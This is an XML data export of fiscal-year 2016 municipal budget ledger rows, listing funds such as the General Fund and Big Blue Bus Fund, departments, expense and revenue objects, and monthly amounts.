<row _id="19743"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19390</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19390</total></row>
<row _id="19744"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8726</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8726</total></row>
<row _id="19745"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>307045</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>307045</total></row>
<row _id="19746"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401002.0</object><object_description>SWIM CENTER-REC/LAP SWIM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-201600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-201600</total></row>
<row _id="19747"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403720.0</object><object_description>HUD SERIAL INEBRIATE GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-21672</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-21672</total></row>
<row _id="19748"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2286</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2286</total></row>
<row _id="19749"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3592</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3592</total></row>
<row _id="19750"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2658</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2658</total></row>
<row _id="19751"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8049</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8049</total></row>
<row _id="19752"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2012</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2012</total></row>
<row _id="19753"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>33739</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>33739</total></row>
<row _id="19754"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1604</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1604</total></row>
<row _id="19755"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5090</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5090</total></row>
<row _id="19756"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12390</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12390</total></row>
<row _id="19757"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>562664</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>562664</total></row>
<row _id="19758"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10207</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10207</total></row>
<row _id="19759"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555870.0</object><object_description>GROCERY &amp; SUNDRY ITEMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>23160</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>23160</total></row>
<row _id="19760"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>41233</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>41233</total></row>
<row _id="19761"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6694</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6694</total></row>
<row _id="19762"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14581</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14581</total></row>
<row _id="19763"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>540</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>540</total></row>
<row _id="19764"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>24102</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24102</total></row>
<row _id="19765"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>819</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>819</total></row>
<row _id="19766"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2176</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2176</total></row>
<row _id="19767"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>445</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>445</total></row>
<row _id="19768"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401610.0</object><object_description>LIBRARY CAFE RENT</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-36300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-36300</total></row>
<row _id="19769"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1020</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1020</total></row>
<row _id="19770"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>401100.0</object><object_description>VIDEO ARCHIVE/WEB HOSTING SVC</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-7400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7400</total></row>
<row _id="19771"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>597</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>597</total></row>
<row _id="19772"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="19773"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>16348</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16348</total></row>
<row _id="19774"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>84679</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>84679</total></row>
<row _id="19775"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>982</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>982</total></row>
<row _id="19776"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1475</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1475</total></row>
<row _id="19777"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6000</total></row>
<row _id="19778"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-252500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-252500</total></row>
<row _id="19779"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555870.0</object><object_description>GROCERY &amp; SUNDRY ITEMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3026</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3026</total></row>
<row _id="19780"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544360.0</object><object_description>ELECTRONIC RESOURCES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>300000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>300000</total></row>
<row _id="19781"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12220</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12220</total></row>
<row _id="19782"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19520</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19520</total></row>
<row _id="19783"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>225600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>225600</total></row>
<row _id="19784"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2778</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2778</total></row>
<row _id="19785"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561404.0</object><object_description>PROJECT HOMECOMING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>35893</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35893</total></row>
<row _id="19786"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1637</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1637</total></row>
<row _id="19787"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5615</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5615</total></row>
<row _id="19788"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>103</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>103</total></row>
<row _id="19789"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3967</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3967</total></row>
<row _id="19790"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2262</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2262</total></row>
<row _id="19791"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>112449</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>112449</total></row>
